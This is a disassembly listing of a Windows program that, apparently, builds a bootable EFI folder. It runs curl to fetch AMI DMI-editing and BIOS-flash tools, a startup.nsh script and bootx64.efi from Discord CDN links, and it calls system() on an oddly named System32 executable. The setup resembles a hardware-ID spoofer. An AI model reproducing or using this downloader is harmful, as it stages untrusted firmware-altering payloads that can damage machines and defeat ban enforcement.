lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call fcn.140066490
mov rdi, rax
mov qword [rbp], rsi
lea rdx, [0x140170b0c]
mov qword [rbp + 8], rsi
lea rcx, [rbp - 0x10]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
call fcn.140063190
movzx edx, byte [rbp - 0x60]
lea r8, [rbp + 0x70]
mov r9, r15
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
movups xmmword [rbp + 0x70], xmm0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x80], xmm1
mov byte [rax], 0
call fcn.1400659d0
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005f569
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f564
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f681
call fcn.1401342b4
mov rdx, qword [rbp + 0x88]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x14005f5b7
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f5b2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f681
call fcn.1401342b4
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14005f5f2
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f5ed
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f681
call fcn.1401342b4
mov rdx, qword [rbp + 0x28]
mov qword [rbp], rsi
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], 0
cmp rdx, 0xf
jbe 0x14005f639
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f634
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f681
call fcn.1401342b4
mov rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
cmp rdx, 0xf
jbe 0x14005f68d
mov rcx, qword [rbp + 0xb8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f688
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f688
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401342b4
xorps xmm0, xmm0
mov qword [rbp + 0x410], rsi
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x430], xmm0
lea rax, str.Select_the_download_directory
movdqa xmmword [rbp + 0x440], xmm1
lea rcx, [rbp + 0x410]
mov qword [rbp + 0x428], rax
mov qword [rbp + 0x418], rsi
mov qword [rbp + 0x420], rsi
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov rbx, rax
test rax, rax
je 0x14005fd19
lea rdx, [rbp + 0x450]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea rcx, [rbp + 0x38]
mov qword [rbp + 0x38], rsi
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
js 0x14005f718
mov rcx, qword [rbp + 0x38]
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + Ordinal_41]
mov rcx, qword [rbp + 0x38]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
xorps xmm0, xmm0
mov qword [rbp - 0x70], rsi
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], rsi
lea rax, [rbp + 0x450]
nop
inc r13
cmp word [rax + r13*2], 0
jne 0x14005f730
mov r8, r13
lea rdx, [rbp + 0x450]
lea rcx, [rbp - 0x80]
call fcn.1400649e0
mov r8d, 4
lea rdx, str.efi
lea rcx, [rbp - 0x80]
call fcn.140061d90
mov qword [rbp], rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp + 8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14005f7d4
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f7cf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f7cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401342b4
mov rcx, qword [rbp]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
cmp rax, 5
jb 0x14005fddf
cmp qword [rbp + 8], 7
lea rax, str._boot
mov qword [rsp + 0x30], 5
lea r9, [rbp - 0x10]
cmova r9, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x10]
call fcn.140065880
cmp qword [rbp + 8], 7
lea rcx, [rbp - 0x10]
cmova rcx, qword [rbp - 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14005f850
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14005f850
lea rdx, str.Error_creating_efi_folder.
jmp 0x14005f87c
lea rcx, [rbp + 0x10]
call fcn.140061d80
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14005f89d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14005f89d
lea rdx, str.Error_creating_boot_folder.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400636b0
lea rdx, [0x140063af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14005fc27
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x50]
call fcn.140061e10
mov rdx, rax
lea r8, str.AMIDEEFIx64.efi
lea rcx, [rbp + 0x2b0]
call fcn.140063db0
lea rcx, [rbp + 0x50]
call fcn.140045c80
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x50]
call fcn.140061e10
mov rdx, rax
lea r8, str.AfuEfix64.efi
lea rcx, [rbp + 0xb8]
call fcn.140063db0
lea rcx, [rbp + 0x50]
call fcn.140045c80
lea r8, [rbp + 0x2b0]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198804522005438474_AMIDEEFIx64.efi__o__
lea rcx, [rbp + 0x90]
call fcn.140063e90
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140063db0
mov rcx, rax
call fcn.140061d80
mov r9, rax
mov dword [rsp + 0x28], esi
lea r8, str.curl
mov qword [rsp + 0x20], rsi
lea rdx, [0x1401756f8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
call fcn.140045c80
lea rcx, [rbp + 0x90]
call fcn.140045c80
lea r8, [rbp + 0xb8]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198804543593529394_AfuEfix64.efi__o__
lea rcx, [rbp + 0x90]
call fcn.140063e90
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140063db0
mov rcx, rax
call fcn.140061d80
mov r9, rax
mov dword [rsp + 0x28], esi
lea r8, str.curl
mov qword [rsp + 0x20], rsi
lea rdx, [0x1401756f8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
call fcn.140045c80
lea rcx, [rbp + 0x90]
call fcn.140045c80
lea r8, str._startup.nsh
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x70]
call fcn.140063e20
lea r8, str._bootx64.efi
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x80]
call fcn.140063e20
lea r8, [rbp + 0x70]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198805528051200030_startup.nsh__o__
lea rcx, [rbp + 0x90]
call fcn.140063e90
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140063db0
mov rcx, rax
call fcn.140061d80
mov dword [rsp + 0x28], esi
mov r9, rax
mov qword [rsp + 0x20], rsi
lea r8, str.curl
xor ecx, ecx
lea rdx, [0x1401756f8]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
mov rbx, rax
call fcn.140045c80
lea rcx, [rbp + 0x90]
call fcn.140045c80
cmp rbx, 0x20
ja 0x14005fa79
lea rdx, str.Erro_ao_baixar_o_arquivo_startup.nsh.
jmp 0x14005fbe1
lea r8, [rbp - 0x80]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198805527728242779_bootx64.efi__o__
lea rcx, [rbp + 0x90]
call fcn.140063e90
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140063db0
mov rcx, rax
call fcn.140061d80
mov r9, rax
mov dword [rsp + 0x28], esi
lea r8, str.curl
mov qword [rsp + 0x20], rsi
lea rdx, [0x1401756f8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
mov rbx, rax
call fcn.140045c80
lea rcx, [rbp + 0x90]
call fcn.140045c80
cmp rbx, 0x20
ja 0x14005faf7
lea rdx, str.Erro_ao_baixar_o_arquivo_bootx64.efi.
jmp 0x14005fbe1
lea rcx, [rbp + 0x2b0]
call fcn.140061d80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005fbda
lea rcx, [rbp + 0xb8]
call fcn.140061d80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005fbda
lea rcx, [rbp + 0x70]
call fcn.140061d80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005fbda
lea rcx, [rbp - 0x80]
call fcn.140061d80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005fbda
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Files_successfully_downloaded_from:
call fcn.140063f00
mov rcx, rax
lea rdx, [rbp + 0x450]
call fcn.140063f00
lea rdx, [0x1400640d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x80]
call fcn.140045c80
lea rcx, [rbp + 0x70]
call fcn.140045c80
lea rcx, [rbp + 0xb8]
call fcn.140045c80
lea rcx, [rbp + 0x2b0]
call fcn.140045c80
lea rcx, [rbp + 0x10]
call fcn.140045c80
lea rcx, [rbp - 0x10]
call fcn.140045c80
xor eax, eax
jmp 0x14005fc86
lea rdx, str.Error_downloading_files.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400636b0
lea rdx, [0x140063af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x80]
call fcn.140045c80
lea rcx, [rbp + 0x70]
call fcn.140045c80
lea rcx, [rbp + 0xb8]
call fcn.140045c80
lea rcx, [rbp + 0x2b0]
call fcn.140045c80
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14005fc6a
mov rcx, qword [rbp + 0x10]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fc65
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005fc65
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401342b4
lea rcx, [rbp - 0x10]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], si
call fcn.140045c80
mov eax, r12d
movaps xmm14, xmmword [rsp + 0x7a0]
movaps xmm13, xmmword [rsp + 0x7b0]
mov r13, qword [rsp + 0x838]
movaps xmm11, xmmword [rsp + 0x7d0]
movaps xmm10, xmmword [rsp + 0x7e0]
movaps xmm9, xmmword [rsp + 0x7f0]
movaps xmm8, xmmword [rsp + 0x800]
movaps xmm7, xmmword [rsp + 0x810]
movaps xmm6, xmmword [rsp + 0x820]
movaps xmm15, xmmword [rsp + 0x790]
mov r14, qword [rsp + 0x830]
mov rbx, qword [rsp + 0x860]
mov rdi, qword [rsp + 0x870]
mov rsi, qword [rsp + 0x868]
movaps xmm12, xmmword [rsp + 0x7c0]
mov r12, qword [rsp + 0x840]
add rsp, 0x848
pop r15
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.No_directories_selected.
call fcn.1400636b0
lea rdx, [0x140063af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14005fc83
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, qword [0x14039a990]
mov rdx, qword [0x14039a998]
test rdx, rdx
je 0x14005fd79
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14039a990]
mov qword [0x14039a998], r15
test rcx, rcx
je 0x14005fd8b
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14039a990], r15
mov rdx, qword [rbp + 0x318]
mov rcx, qword [rbp + 0x340]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r12d
jmp 0x14005fcdd
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x48], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x48], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.14002e280
int3